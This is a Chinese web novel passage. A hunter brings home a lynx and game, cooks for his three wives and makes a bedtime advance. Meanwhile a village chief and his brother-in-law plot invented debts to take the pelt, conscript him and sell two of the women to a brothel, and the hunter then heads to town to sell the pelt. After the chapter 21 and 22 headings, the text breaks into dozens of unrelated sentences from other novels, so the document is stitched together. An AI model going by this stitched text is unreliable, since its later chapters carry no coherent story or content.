樊妍如小女孩得到心爱礼物般欣喜,戴上帽子还晃了晃脑袋给陈息看。
陈息吃惊瞪大了眼睛,这......这是上次我用七只松鼠皮做的帽子?
我记得不够大啊,现在怎么?
围着樊妍转了一圈,又拿在手里翻来覆去的看。
这......
这手艺不错啊。
油亮的皮毛,根根柔顺丝毫看不出拼接痕迹,翻过来再看里面,针脚均匀错落有致。
“这......这是蓉蓉做的?”
陈息嘴角抽了抽,他不光看到白蓉蓉重新缝制的针脚,还看见自己以前扎的大粗眼儿......
怪不得帽子小,原来是自己缝厚了。
“对呀,蓉蓉手艺很棒的,不多时便缝好了......”
樊妍还在向陈息展示自己的松鼠皮帽子,在火光映衬下,红色的皮毛闪闪发亮甚是好看。
陈息则是不好意思的挠挠头:
“哈哈,好,那个哈......好看哈......”
陈息满脸尴尬,一定是自己错怪二女了,但已经错怪了还能咋办,弥补呗。
不过让他更加惊喜的是,没想到白蓉蓉手艺这么好,比自己都好......好上那么一点点。
陈息来到白蓉蓉身边,语气温柔:
“好,表现的这么好,我有奖励。”
白蓉蓉受宠若惊,连忙站起身唯唯诺诺道:
“不不不......不敢......不敢要奖励。”
心在在想,啥奖励呀?啥奖励?嘻嘻。
而蹲在那里烧火的秦瑶可是都要哭了。
白蓉蓉有表现的机会,而且还得到夫君奖励,可自己呢?
呜呜呜......
早知道不读书了,识字有什么用呀,会算账也没用呀。
这个家里就属自己没用,不活了,早早被吃掉吧。
秦瑶泪水打湿眼眶,内心已经绝望,每个人都有价值,就自己没价值。
鼓励了白蓉蓉几句,陈息将目光看向蹲在地上小声抽噎的秦瑶。
识字,还会算账。
嘿嘿,自己盐矿的会计,这不就有人选了嘛。
一个会女红,一个会算账。
这年头会女红的都是大家闺秀,平常的妇人都是做些简单的缝缝补补。
再看白蓉蓉这手艺,不知道强出那些寻常妇人多少倍。
还有个识字会算账的秦瑶,男子识字的都少之又少,更别说女人了,千分之一都没有。
这两个宝藏女孩,以后将是自己的绝大助力。
“好啦别哭啦,随为夫把猎物搬进屋。”
第一卷 第18章 大猞猁
猎物?
什么猎物?
夫君不是只拖着一根大树枝回来吗,哪里有什么猎物。
见樊妍还在愣神,陈息得意一笑:
“走,收今天的战利品。”
说罢毫不迟疑,率先走出屋子,身后三女一听说有猎物,急忙好奇跟上。
当众女来到大树枝前,看到那只大猞猁,还有野兔野鸡时,三女同时张大了嘴巴。
“这......这......这都是夫君猎的?”
樊妍震惊出声,看着那大猞猁粗壮的身子,少说都有四五十斤,这......
这得换多少斤粟米呀。
秦瑶和白蓉蓉则是更加震惊,她们来时只听说是要嫁给猎户,没想到这位猎户夫君这么有本事。
不但给自己买了新袄,还有精米鸡蛋吃,现在又看着地上一大堆的猎物,一个个惊的小嘴怎么都闭不上。
“夫...夫君......这......”
二女同樊妍一样,见到猎物的同时脑子瞬间宕机了。
陈息看见三女的表情,顿时嘿嘿一笑:
“别傻看着了,走,都拿屋去。”
率先搬起大猞猁进屋,趁猞猁还没冻僵,要赶紧把皮毛扒下来。
三女在后面,拎着野鸡野兔进屋。
“咦?还有鱼.....这鱼好大.....好肥。”
“夫君好厉害,我最爱吃鱼啦。”
白蓉蓉性格活泼,此时见到大鱼兴奋的手舞足蹈。
几女手忙脚乱的把所有猎物都搬进了屋。
本就不宽敞的小屋堆满了猎物。
刚才外面视线不好,还没认真看看大猞猁,几女此时看得真真切切,再次被震惊到了。
还说四五十斤呢,现在看来六七十斤是有的。
还有那些野兔......野鸡......大鱼。
“开始干活,你俩把鱼收拾了,娘子坐那边歇着。”
我的娘子,我惯着。
陈息拿起猎刀开始熟练的扒猞猁皮,两女也跟着收拾大鱼,留下一脸无奈的樊妍不知干什么好。
“夫君...我来帮你。”
樊妍要过来帮忙,被陈息劝退:
“娘子你一直没睡,先歇息一会,待会夫君给你做好吃的。”
樊妍知道陈息心疼自己,又见夫君带着猎物回来哪里还有睡意。
退到一边,眉眼弯弯的看着几人干活。
秦瑶和白蓉蓉干活还算麻利,没多久功夫便把大鱼收拾好了,二女开始扒野兔皮。
陈息则是三下五除二便把大猞猁处理好了,一张完整的猞猁皮整齐扒了下来。
只是后爪和脖子处被自己一箭射穿了,不然价格还要珍贵几分。
摸着柔亮光泽的皮毛,陈息点了点头表示满意。
不知这张猞猁皮能卖个什么价,总之比一个傻狍子要值钱多了。
接下来开始处理内脏,这内脏可是好东西,如今饥荒年家家都吃不上饭。
这可是重要的蛋白质来源,一些营养不良和免疫力低下的就是缺少蛋白质。
要是百姓能吃得上饭,也不至于每到冬季都要冻死那么多人。
不过这些内脏陈息不打算吃,这个年代没有什么作料,味道可想而知。
还是吃肉来得实在。
“天亮把这些内脏和一条腿肉给张婶送去,剩下的储存起来咱们自己吃。”
“夫君你说的算。”
樊妍笑意盈盈答应,家里一切都当家的说的算。
猞猁肉对比猞猁皮来讲相对不值钱,这些肉留着自己吃就不卖了,靠着皮毛就能多攒些人头税。
几人忙活了半个时辰,终于把猎物都收拾好了。
白蓉蓉知道猞猁皮要拿去卖,但还是喜欢的紧,拿在手里爱不释手。
这么大张皮要是有两张就好了,都能做一件贵妇人才能穿的皮草大衣了。
将一切都收拾好,陈息嘿嘿一笑道:
“刚才我听说谁爱吃鱼来着?”
白蓉蓉顿时有些不好意思,刚才确实是她说的,她只是当时兴奋随口而说,没想到夫君还记得。
只是...只是...只是自己能吃吗?
见陈息脸色很好,才壮着胆子说道:
“夫君,是我...我说的。”
“好这就是你的奖励,炖鱼。”
白蓉蓉高兴得手舞足蹈,太好了,可以有鱼吃了。
见白蓉蓉都有奖励,秦瑶开始委屈起来。
都怪自己没用,看来这个家里只有她地位最低,自己都有些嫌弃自己起来。
“别看了,你也有奖励。”
秦瑶愣在那里,是......夫君是在跟我说话吗?
陈息看着她可怜巴巴模样甚是好笑,手指刮了一下她的鼻子:
“待会给你做个好吃的。”
秦瑶被刮了一下鼻子有些不好意思,这是夫妻间才有的暧昧动作。
夫君这么对自己,是接受自己了吗?
小脸瞬间就红了,心里暖呼呼的。
陈息转身出门把那个雪团拿了回来,神秘一笑:
“你们炖鱼,夫君给你们做个好吃的。”
找出一个最大的碗,打入两个鸡蛋加了些清水,再把蛙籽蛙油和鸡蛋搅拌均匀,撒上粗盐开始蒸。
这可是后世的大补之物,不但增强免疫力还能美容养颜。
自己这三个如花似玉的娘子,必须安排上最好的补品。
不多时屋内便香气阵阵,一大盆鱼和陈息的特制鸡蛋糕出锅。
几人围在灶边开始大口吃了起来。
“咦?夫君这是做的什么吃食,怎地如此鲜美。”
“对呀,我还第一次吃到这么好吃的鸡蛋羹。”
“嗯嗯嗯,好吃好吃。”
陈息哈哈一笑:
“好吃就多吃点,都忙活半夜了,吃完睡觉。”
白蓉蓉好久没吃到鱼了,将干饭属性全部发挥出来,小嘴塞的满满的。
樊妍和秦瑶就矜持多了,小口的吃着,但也吃了很多。
一顿饭吃的很是舒服,几人吃的干干净净。
下面就是睡觉问题。
一张床,四个人显然是睡不下的。
陈息皱了皱眉,最终在陈息强硬要求下,秦瑶和白蓉蓉睡床。
自己将狍子皮和猞猁皮铺在干草堆里,挨着樊妍入睡。
灶火一直烧着,屋内很是暖和,没多久秦瑶和白蓉蓉便进入了梦乡。
陈息见二女呼吸均匀开始不老实起来。
他先悄悄往樊妍身边挨了挨,摸索半天终于拉住樊妍小手。
“夫......夫君......妹妹们都在呢。”
“我知道,我又不干什么,就是怕你冷。”
“你看你的手,冰凉的,为夫心疼。”
一席话,搞的樊妍无言以对。
只能弱弱的回了一句:
“那就牵着手,可不能......”
她话还没说完。
就感觉一只大手,从她腰间划过拥入怀中。
“啊!别...叔叔!”
情急之下,樊妍紧张的习惯性叫出了声叔叔。
可她却不知叔叔二字,对陈息是多么大的刺激。
“嫂嫂,你身子好凉,叔叔火力壮,给你暖暖身子!”
“嗯......嗯?......你......别......”
“放心吧,我就是抱着你睡。”
陈息表面一副道貌岸然,私下里一双大手开始不老实起来。
樊妍被陈息搞得有些情不自禁,偷眼看旁边床上还睡着两人呢。
这......这怎么好意思嘛。
陈息脸皮厚,昨晚就耽误了,今天二女睡熟,正是大好机会。
就在他将要得逞时,旁边床上传来阵阵梦呓声。
“大鱼...好多大鱼......我要吃鱼......”
正在装睡的秦瑶用力捏了捏还在说梦话的白蓉蓉,别出声,夫君马上就要成功了。
白蓉蓉感受到腰间疼痛,嘴里迷迷糊糊说道:
“姐姐别掐我嘛,好不容易睡着......”
翻了个身,小脸正对着干草堆里二人继续睡。
秦瑶:“......”
樊妍知道了秦瑶在装睡,顿时羞的把头埋进干草堆里,完啦完啦,全被听见了。
陈息则是嘴角狠狠抽动两下,踏马的,差那么一丁点就进球了。
没想到还有守门员!
经过这一段小插曲,注定了今夜陈息不能得逞,只能老老实实挨着樊妍继续睡了。
与此同时,窗外墙头上的王麻子,双眼阴鸷的透过窗子缝隙看着屋内。
“怪不得一直烧灶,原来打了这么多猎物。”
“陈二傻子你给我等着,你活不了几天了。”
“等你死后,樊妍那婆娘就是我的了,剩下那俩婆娘还能换钱。”
王麻子阴狠一笑,随后跳下墙头消失在黑夜之中。
第一卷 第19章 王麻子的毒计
王麻子一路鬼鬼祟祟来到村长赵保全家中。
“咚咚咚——”
“姐夫、姐姐,是我王麻子。”
屋内,张保全此时正搂着两个女人呼呼大睡。
听见敲门声先是吓了一跳,随后便听见是王麻子声音,顿时气恼吼了声:
“你踏马要死啊,大半夜的吵吵什么?”
“那个......姐夫啊,是我王麻子,有要急事找您商量。”
王麻子在门外悻悻的小声应着,他知道此时都已是半夜,但陈息打了那么多猎物,还有一张珍贵的猞猁皮,必须要尽快通知姐夫。
“踏马的,等着。”
张保全骂骂咧咧出声,不情不愿起身穿衣服。
“真讨厌,当家的把他打发走嘛,有什么事明天再说嘛。”
一条藕白手臂探出搂住张保全,女人还故意用两团柔软贴紧他胳膊。
另一边的大夫人王艳,一掌拍开那条手臂,声音有些气恼:
“别缠着当家的了,我弟弟这么晚来一定是有急事。”
哼,狐狸精整天缠着当家的,搞得自己这个大夫人一点地位都没有了。
自己还没说话呢,狐狸精倒是先开口了。
“行了都别拌嘴了,我出去看看怎么回事。”
两个女人见张保全起身,立马为其穿好衣服。
“你就别出去了,我陪当家的去看看麻子有什么事。”
“哼,好的大夫人,那我就在床上等着当家的。”
苏娇娘身子一扭一扭的趴上床去,还对着张保全扭动两下屁股。
呸,贱人,狐狸精。
王艳心里嘀嘀咕咕骂着,再这样下去自己大夫人的地位可要不稳了。
心里骂着苏娇娘小狐狸精,脚步不停走到外面给王麻子开门。
“麻子这么晚你咋来了?找你姐夫有什么事吗?”
“嘿嘿大姐,姐夫呢?我找姐夫有好事商量。”
王麻子一脸谄媚笑容,还探身向王艳背后看了看,正巧看到张保全打着哈欠出屋。
“姐夫姐夫,我发现个大秘密,特地向您来汇报。”
王麻子紧走两步,用袖子擦了擦椅子扶着张保全坐下。
“有什么事明天再说啊,这大晚上的。”
张保全白了王麻子一眼,没好气道。
又给王艳搬来椅子侍候两人坐下,王麻子才急忙说道:
“姐夫您猜我看到什么了?”
“快说,这么晚了没工夫跟你扯皮。”
“嘿嘿姐夫你别急呀,这件事保准是好事,是关于陈二傻子的。”
“嗯?”
张保全一听是关于陈息的事,瞬间来了精神。
上次当着村民的面逼王麻子下跪磕头道歉,让他这位村长颜面尽失。
村里谁不知道王麻子是自己小舅子,给一个傻子磕头?不找回来点场子自己还怎么混下去。
“陈二傻子怎么了?你快说说。”
王麻子见张保全来了兴致,立即把今晚见到陈息拉着猎物回家,还和家里几个婆娘从吃饭到睡觉的事仔仔细细说了一遍。
尤其是那张大猞猁皮毛,王麻子想想就眼里放光。
那可是猞猁皮啊,他是知道价值的,如今猎户都被朝廷征召了,猞猁皮定然会被县里的贵人们炒成天价。
王麻子口沫横飞的说完,搓着手等待张保全的态度。
果然和他料想的一样,张保全一听是猞猁皮,顿时双眼放光。
“王麻子,你说的可是真的?陈二傻子真猎到了猞猁?”
“姐夫,我王麻子啥时候骗过您,句句属实!”
王麻子拍着胸脯子向张保全保证。
一旁的王艳也跟着附和道:
“当家的,麻子在外面可能有些名声不好,我保证他可不敢拿这事骗当家的。”
王艳对上次王麻子给陈息磕头道歉的事记恨在心,自己就这么一个弟弟,岂能让一个傻子欺负了?
就算是贪图傻子婆娘,那也是理所应当。
一个傻子怎么配娶婆娘,还不如给自己弟弟当小的,为老王家多生几个男丁传宗接代。
姐弟俩接连保证,张保全深吸了口气。
上次陈息能猎到狍子在他眼里就是巧合,指不定是狍子饿死了,被傻子捡个便宜。
但这次可不一样,那可是猞猁啊,只有深山里面才有的东西。
那傻子是真是走了狗屎运。
“我已经和刘大人、李大人商量好了,他们家的人头税涨到每人七串钱。”
“傻子要是凑不齐的话,他那三个婆娘一个都保不住。”
“不过现在他有了猞猁皮,这件事可就棘手了。”
张保全一时没了主意,之前的计划未必能实现了。
他本和两位大人商议了,等陈息交不齐人头税钱,就将他发配充军。
而那两个新送来的婆娘,还能卖到窑子里给自己赚点差价。
至于那陈家嫂嫂,自己小舅子不是一直惦记着嘛,看在她姐姐面子上可以帮帮他。
反正都是两任寡妇了,还不是随便自己做主。
王麻子见张保全没了主意,立即笑嘻嘻的将自己的小算盘说了出来:
“姐夫不要着急,我有一计让傻子乖乖的把猞猁皮吐出来,还能把他送去充军。”
张保全一愣,随即兴奋起来,怎么把他给忘了。
自己这个小舅子干别的不行,但脑袋是真的好使,坏点子一琢磨就来。
“快说快说。”
“对呀麻子,你有什么好办法赶紧与你姐夫细说。”
王艳也跟着心急,自己弟弟给当家的解决了问题,自己大夫人的地位可就保住了。
省得整天看那个狐狸精的脸色。
王艳心急如焚,不住的催着弟弟快说。
王麻子见姐姐和姐夫着急,也不藏着掖着了,清了清嗓子开始说出自己的计策:
“姐夫姐姐有所不知,那陈家嫂嫂欠了我五斤粟米一直没还。”
“咱们可以把她押到县衙里,让傻子去赎人。”
王艳一听自己弟弟竟说的这狗屁主意,顿时没好气道:
“你这是什么馊主意?欠你五斤粟米人家若是还上了呢。”
“别说五斤粟米了,那猞猁皮能换......”
“停停停,让麻子继续说。”
张保全打断王艳唠叨,他是村长自然懂得一个妇人多,觉得肯定能从中搞点事出来。
“嘿嘿姐夫,那五斤粟米她可是欠我半个多月了,现在还债还能是五斤粟米吗?”
王麻子对着张保全咔磨着小眼睛,什么东西不都得有利息嘛。
他以前去过县里赌坊,自然知道驴打滚的高额利息。
曾经有人欠债还不上,老婆孩子都抵给了债主,最后落个家破人亡。
“那五斤粟米,再怎么驴打滚也不够啊。”
张保全白了一眼王麻子,大半夜拿自己寻开心是不是?
五斤粟米欠了你半月,顶多也就还10斤粟米,人家现在猞猁皮在手,咋就还不上了?
“嘿嘿,姐夫你让我把话说完。”
王麻子一脸得意,姐夫笨是笨了点,这不是还有自己嘛。
反正陈二傻子这关是过不去的。
“您还记得那两个犯妇吗?”
张保全皱了皱眉,那两个犯妇是自己陪着两位大人送去的,怎么能不记得。
再说都给傻子做婆娘了,人头税还有一月才收呢,现在能怎办?
“上次我听刘大人说,那两个犯妇中的一个,家里原来是开银庄的,得罪了上面大人才抄家的。”
“姐夫你想啊,她家开银庄,肯定欠了不少外面的钱,现在她嫁人了,自然要还当初欠下的债。”
张保全如梦初醒,自己怎么没想到啊。
“对对对,继续说。”
王麻子见张保全兴奋,顿时一口气把话说完:
“姐夫您在家等着,我现在就去找两位大人,天一亮就过来押人。”
“到时候把傻子的两个婆娘押到县衙,具体还多少债还不是我们随便定嘛。”
王麻子嬉皮笑脸,为自己的聪明才智竖起大拇哥。
陈二傻子,你充军战死以后,那细皮嫩肉的嫂嫂可就是我的了。
张保全听完眼睛一亮,果然还是你小子脑袋好使。
到时候把猞猁皮搞来送给两位大人,那傻子还不上债就送去充军。
两个新来的婆娘送到窑子里去给自己赚钱。
妙啊。
“好,事不宜迟,你快去禀告两位大人吧。”
“姐夫,我这事办妥了之后,您和两位大人说一声,让我去县衙把陈家嫂嫂接回来。”
“到时候,嘿嘿嘿......”
王麻子搓着手,陈家嫂嫂这次是跑不掉了。
张保全此刻心情大好,笑骂了一句:
“瞅瞅你那点出息,赶快去吧,剩下的交给姐夫。”
“好嘞姐夫,您早些休息,我这就去办事。”
送走了王麻子,张保全一把搂住王艳就回屋。
“夫人咱们继续,大被同眠。”
“哈哈哈!”
第一卷 第20章 最高品质猞猁皮
清晨。
陈息醒来伸个懒腰,舒舒服服从干草堆中起身,几女已经做好了早饭等自己。
“夫君快吃饭吧。”
樊妍红着脸端来一碗稀饭,还给陈息煮了两个鸡蛋。
早上秦瑶和白蓉蓉偷偷聊天被她听见了,昨晚夫君做的坏事显然被发现了。
气的樊妍又回头白了一眼陈息,紧了紧鼻子吓唬他。
“那啥哈,娘子辛苦了。”
陈息挠挠头,这个时候可不敢惹娘子,娘子的性子他知道,天生的脸皮薄。
“娘子我吃完饭就进城,抓紧把猞猁皮卖了,再采购些工具。”
自从昨晚到深山发现盐矿之后,自己的工具必须要抓紧升级了。
深山里可是有着大型猛兽盘踞,哥哥那把猎弓已经派不上用场了,必须要有强力武器护身。
这次的目的就要买材料,回来自己做把趁手的武器。
“嗯夫君,早些回来。”
一提到进城,樊妍便正色起来,夫君出门,家里只有三个女人,自己要担起责任。
秦瑶、白蓉蓉刚刚融入这个家庭,要帮助她们适应环境。
樊妍和秦瑶都顶着黑眼圈,只有白蓉蓉神采奕奕。
这小丫头片子没心没肺的,睡得像死猪一样。
“那个哈......火炕已经烧干了,今晚就可以住了。”
陈息挠挠头,有些不好意思。
昨晚自己的小动作,想必秦瑶都听见了,今晚睡火炕,一定搞得隐秘些。
不然娘子脸皮薄,一定不能从了自己。
“嗯夫君,早些回来。”
“夫君真厉害,炕上面暖暖的,睡起来一定很舒服。”
三女把家里的活承揽下来,收拾干干净净的迎接夫君回家。
一直送他出了院子才回屋。
陈息走后,樊妍心里有些惴惴不安,好像要发生什么大事一样。
唉,可能是幻觉吧。
想不清楚就不想了,樊妍揉了揉眉头,转身和二女一起收拾屋子。
陈息今天时间紧,任务重,一路加快步伐前往县城。
猞猁皮卖给上次那个佐千千吧,她是县里人应该能问出人头税的事。
与此同时,荣依坊内。
一位身穿绿袄,相貌清秀的小姑娘站在佐千千对面。
“千千姐,夫人昨晚病了,怕是染了风寒,我来给夫人定制一件皮裘”
佐千千听闻夫人需要皮裘,心里一紧,店铺虽然有些皮毛,但夫人绝对是看不上的。
“翠翠姑娘你别急,我新认识个猎户,最近应该能收一些上等皮毛,到时候送到府上,让夫人挑选样式。”
“哦?新猎户吗?”
翠翠有些诧异,县内猎户的情况她是知道的。
有经验的老猎户都被朝廷征召了,新猎户能猎到上等的皮毛?
奈何佐千千胸有成竹的样子,让她有些好奇。
“嗯,虽然是新猎户,但本事不错的。”
昨天陈息刚走她便去山宝堂找小五了解了他的情况。
得知他是有真本事的猎户,就起了小心思。
小姨的病越来越重,需要深山中的雪灵芝治病,那地方寻常人不敢进去,所以她想求陈息。
“那恭喜千千姐找到位新猎户主顾。”
“对了,夫人病的重不重?”
“不碍事的,我已经联系了赵神医,午时便来为夫人看病。”
佐千千微微点头,赵神医可是本县的大医,平常人还真的请不来。
“有赵神医在,夫人一定会尽快痊愈的。”
“嗯,千千姐再见!”
翠翠低头打开房门刚走,突然撞到了一个高大男子身上。。
“呀,对不起对不起。”
翠翠由于心中有事,没想到与人撞到了一起,口中连忙道歉。
陈息也没想到,上次来铺子一个人都没有,这次居然与人撞在了一起。
摸了摸身上,再看着小丫鬟胸前,规模不小哈。
“没关系,你先请。”
陈息让开身子,示意翠翠先走。
翠翠抬头眼睛一亮,好英俊的男子,后又看到陈息拿着一张柔顺发亮的皮毛。
这......这是猞猁皮?
见翠翠不走,怔怔的盯着自己手中猞猁皮发呆。
陈息不愿耽搁时间,侧过身子进了店铺。
佐千千见到陈息有些惊讶,本打算和小五一同到窝窝村找陈息收猎物,顺便再把自己的请求说出来。
没想到他这么快又来了。
陈息将猞猁皮随意丢在桌上,对着佐千千一笑。
“千千姑娘你好,这么快又见面了,今天我来......”
陈息刚想拿猞猁皮给佐千千,却看到翠翠已经把猞猁皮拿在手中看了又看。
见陈息目光扫来,翠翠顿感失礼,欠身作揖轻声开口询问:
“公子莫怪,恕奴家失礼,敢问这是猞猁皮吗?”
陈息闻言点点头,小丫鬟挺有礼貌的。
“是啊,这位姑娘有什么事吗?”
得到陈息肯定的答复,翠翠立马激动起来。
“千千姐你看,这猞猁皮和夫人那张......”
佐千千也看到了猞猁皮,接在手中反复看了一遍,越看越激动,越看越喜欢。
“真的是猞猁皮,而且还是上好的公猞猁,这皮毛,这光泽,难得的极品......”
佐千千此时已经顾不得身边还有人了,两只眼睛放光,拿着猞猁皮就不放手,就像是看到了什么稀释珍宝。
“千千姐你快说呀,这张皮和夫人的那张......”
佐千千知道夫人收藏了一张猞猁皮,她还劝夫人再收集一张,便可做件皮裘呢。
“花色一样,这张比夫人的那张还要好还要珍稀。”
佐千千一遍一遍的捋顺皮毛,爱不释手,这是她见过最好的猞猁皮,没有之一。
“公子,请问你是要售卖这张猞猁皮吗?”
翠翠知道佐千千是行家,她虽然比自己大不了几岁,但论起眼光独到,佐千千可是全县出了名的。
不然夫人也不会指定在她铺子定做皮草。
陈息被问的一脸无奈,拿着猞猁皮到这里,不卖做什么?
“是啊,拿来售卖。”
“千千姐你看,找到了找到了。”
翠翠很是激动,夫人患了风寒,正好用这张皮毛做皮裘。
“嗯,这张猞猁皮真的好,我都有点心动了呢。”
佐千千心动归心动,但她可不敢与夫人抢。
那可是县令夫人啊,整个县里谁不知道县令老爷只有一个夫人。
为了这位夫人都没有纳妾,要什么给什么,都要宠到天上去了。
翠翠满眼激动,夫人的皮裘终于凑齐了。
“千千姐,夫人的皮裘还请你......”
“我随你去府中取来另一张,这件皮裘我亲自给夫人做。”
“好,那就太好了,谢谢你千千姐。”
陈息就这么傻傻的看着二女把自己的东西分配好了。
价钱呢?
不说价钱就定好了?
经过我这个当事人同意了吗?
他倔脾气也上来了,这么轻易就把自己东西分配了?
今天无论出什么价格都不行,大不了不卖了回家给娘子当毯子。
“等等,说价格了吗?”
陈息直挺挺往那一坐,两个小丫头片子而已,今天小爷还真就不卖了。
有两个臭钱而已,本人最最看不惯那些有钱人。
佐千千见陈息一脸不悦,顿时想调侃他几句:
“你这张猞猁皮,我们县令夫人看上了,送到了府里,我想夫人不能亏待你吧?”
陈息嗤笑一声,顺手夺过猞猁皮,一秒都没想,说话干脆利落:
“走,小的这就给夫人送去。”
第一卷 第21章 患病的县令夫人
听到他什么都不问,就开始斥责自己,廖峻言眼神中的那抹喜色也随着消失不见,知道在那次后,他对自己很失望,趴在桌子上,双眼紧紧盯着他威胁到。
沈遇说完,林安乔也明白,盯上她的是沈遇的爷爷,沈遇担心也是正常,但是她想到自己以后走到哪,都有人在她看不见的地方监视着,就有种说不出的难受。
“你是要去告诉陈海师兄吗?要怎么说?意图勾引自己的姐夫不成,反被打伤?”穆夜听脸上毫无表情,却让云翳娆觉得可怕,一步步地往后推开。
“安德因兄弟,你是哪个教会的牧师?”吴克斯见自己身上的金光消散,便向安德因问答。
他们不仅是内鬼,并且每隔一段时间,会送一些体格健壮聪颖坚韧之人过去仙族。
她卷翘的睫毛因为慌乱而扑闪扑闪的,投射在脸上一片弯弯的光影。让人可以看的很清晰,睫毛根根分明。
白木槿看着她这般认真弹奏的模样,心底似乎开始荡起了异样的涟漪。
也不知道法雅这种凶恶的眼神到底是怎么磨练出来的,但对于这些和她同年龄段的孩子们来说,绝对是不亚于因为自己犯了错,要打自己屁股的父亲。
安瑾点点头,将配方和半成品接过来,仔细查看了一下,并在手上亲自试验了手霜半成品的效果,又闻了闻味道,满意地点了点头。
人生本来就是无休止的挣扎求存,等着吧,老子不但要活下去,还会杀回京城,与你们算算账。
众人闻言,立刻气势再涨,纷纷祭出法宝武器,散出煞气,朝陈风围杀而来。
见姓罗的没有厚着脸皮跟来,李家父母虽然心中膈应,此刻还是满意的。
刘师兄迅速向后退了好几丈,又打开灵力罩,还将一件防御法器挡走自己身前,准备抵挡杨明阳这次攻击。只见一大片火焰向他袭来,漫天火焰遮挡住了他的视线,他立即凝神静气,迎接这些火焰。
对于普通人来说,让他们知道这些事情,接受这些东西的存在并不难,可是要让他们理解这些东西,真正接纳却真的不容易。
如果林佳成能够自救的话,这孩子就是她后半生的依靠和幸福,不能有什么闪失。
嬴天不由得有点心疼,这药力可以提升不少自己的境界呢!不过一来他也不想看到荒兽?疏就这样死去,二来以后自己要在皇城立足,这刁蛮公主怕是不能得罪,还不如卖个好。
大殿里面静悄悄的,这一次连楚熏也无法反驳哥哥的话,红着眼睛默不作声。
对于他们投靠朱元璋,龙傲天倒没什么意外,毕竟一个好色,一个好酒。而且如果不贪图荣华富贵,也不会被汝阳王府招揽。
马若绫原本焦躁不已的情绪,听了林默的话瞬间就拨云见日般,一下子好了许多,林默的话好似有种神奇的力量,让马若绫信心倍增。
张淑云没好气的说了一句,感觉很丢人,还不忘嫌弃的白了周天一眼。
一般情况下,这么多位准炼魂境的武者来合力截杀如同夏寻这般不过才凝魄境八重的武者,那必定是手到擒来。
“狄爷爷,你可知天罡剑派的人在哪里?”这时,絮儿公主突然问道。
路飞忽然对李敏笑了一下,然后就是一股磅礴的能量直接侵入了他的脑域,这外人是看不到的,因为路飞根本身体动都没有动,其实这种人把他变成一个白痴,比杀了他还要让他抓狂。
苏暖将饭菜都端出來微微打量:还好。那菜叶仍旧鲜脆碧绿。并沒有蔫儿黄的痕迹。卖相很好。抬头想要招呼冷夜吃饭。却意外发现对方少有的在发呆。
于是,情报组织下线老大主动打电话给一个在情报组织内部工作的,09届龙神特种部队的一位师兄,让他辨认林一凡是否是杀神之豹。
“你们都要死,都要死。”雷奥大吼着,他体内的能量翻涌的比之前更加的澎湃了,莱利则是眼巴巴的看着路飞,现在的路飞完全成为了自己的主心骨,只要这位爷出手,自己肯定会没事,就看这位爷会不会出手了。
“是谁杀了我的儿臣们!”一头长着九颗头颅的蛇形魔物长啸道。
“你胡说什么?他们故意把我叫出来?”林欣不敢相信,也不愿相信。“林大美人,你尸变的时候没带脑子是么?你觉得她有骗你的必要?”老七一句话点醒了林欣,的确,雪薇根本没必要骗她。
四周的众人都是循声望去,就看到夏寻正面带笑意的走到几个长老身边,笑着看着几人。
她也算得上班里前几名的学生,所以在老师眼中,一直很受重视。
“在说,我亲我老婆关你什么事情,那些不受法律保护的情侣还可以在街上亲吻,更何况我还是拿十块钱卖了证的人,更受法律的保护了。”邱少泽洋洋得意,一脸自豪的说道。
“锵!”发出了金铁般交鸣,敏丧尸这致命一击刺在了拦路丧尸的胸口,意想中骨刀刺破身躯的那一幕却没有出现,这不禁让我大跌眼球,这家伙的皮肉是什么做的,这么坚硬?
千倾汐懒得理会身旁的男人,若是再这般盯着他瞧,估计会耽误了正事。
在它的额头之上,长有一对金黄色龙角。这时候它发现了萧让,一下子睁大了眼睛,一眨一眨得看着萧让。
如今猛然间见到有贵人带着人浩浩荡荡的过来,大家第一时间便是纷纷四散而逃。
甚至运气好的还能在魔兽的身体里或者巢穴里发现魔兽蛋,这样的话就更加发财了。
第一卷 第22章 夫人活不过三日
朱常洛显得很是无助,他下意识往李秘这边投来求助的眸光,但很显然,李秘没有回应他,只是遥遥看着远处。
不过齐天猖并没有因此而慌乱,只是简单的辨认了一下方向之后,又一慢慢的沿着海沟延伸的方向追了过去。
张璐只是想要让他身边那个刺青男去吓唬吓唬陆成晟,顺便故意让媒体拍到他被成晟教训的画面,她也没想到这家伙这么蠢,竟然真的拿着刀子刺伤了陆成晟,这下可好,他们反倒让媒体拍到把柄了。
眨眼之间,那只一直被所有游客忽视、一直非常安静的红色大鸟就停在了大胡子男人的手背上。
宋沁听到要去求陆明丞,心里虽然有一点抗拒,但还是立刻就掏出了手机,拔打了陆明丞的电话。
“林音……你就感觉不出来我喜欢你吗?”陆成晟看着林音偷偷从指缝里瞧他的样子,似被下了魔咒一样说出这样一句话来。
在别人的面前,她需要在意言行,在沈光年的面前,不需要在意,她可以展现自己,聪明才智,绘画天赋。
李秘跟着那奴婢走了一段,便已经发现后头跟上来的王士肃,心说好不容易与他两清了,可千万别因为张黄庭,再结下甚么梁子来了。
X私立高中不同,假期作业尤为重要,老师必须亲自批改,做的不好,有抄袭情况的全校通报批评。
融城有内卫队,是火神的直属部队,只听令于他一人,能被选进内卫队的人都是实力强横的强者,平时就待在融城,护卫融城的安全,除非有什么棘手的事才会出动他们。
那段记忆事后被杜箬极速模糊掉,只记得一路都很乱,人影晃动,灯光刺眼,明明眼前是大片的白色,而她却只记得那些血红。
季庭予看了看我,伸手拍了拍秃头男人肩膀,凑到他耳边不知道说了什么,秃头男人连忙跟我说了句不好意思,然后便不敢再出声了。
这些日子蓝雨辰对自己所做的一切,以及对那个给自己看病的医生是一个什么样子的态度,伊璇雅都是看在眼中的,再一次的感受到了蓝雨辰对自己的爱,再一次的感受到了蓝雨辰对自己的好。
阿雅也因为他的一推加上重心不稳踉跄了几步,向一旁的墙角撞去。
刚刚陈姨在厨房内把白翩然的举动都收进眼中,心中开始为太太打抱不平,但是却因为这是太太和先生之间的事情,她不好插手而没有出来。
被问到的那名媒体人皱了皱眉头,他盯着眼前的这个愣头青,摇了摇头,没理他便是离开了。
最讨厌沐熙墨这个模样了,果然在坠下山崖的时候,说的什么都是浮云,这个时候的沐熙墨才是真正的沐熙墨。
此刻的她就像是个孩子,与几个孩子打成一片,彼此间都没了隔阂和害怕。
“适才老奴在外面听到秦大人说皇后娘娘的手喻不行是吗?”常善略微的一笑,问道。
“恩。起来吧。这是赏给你的。”平江王将桌子上的几张银票递给那人,那人接了后欢天喜地的离开。
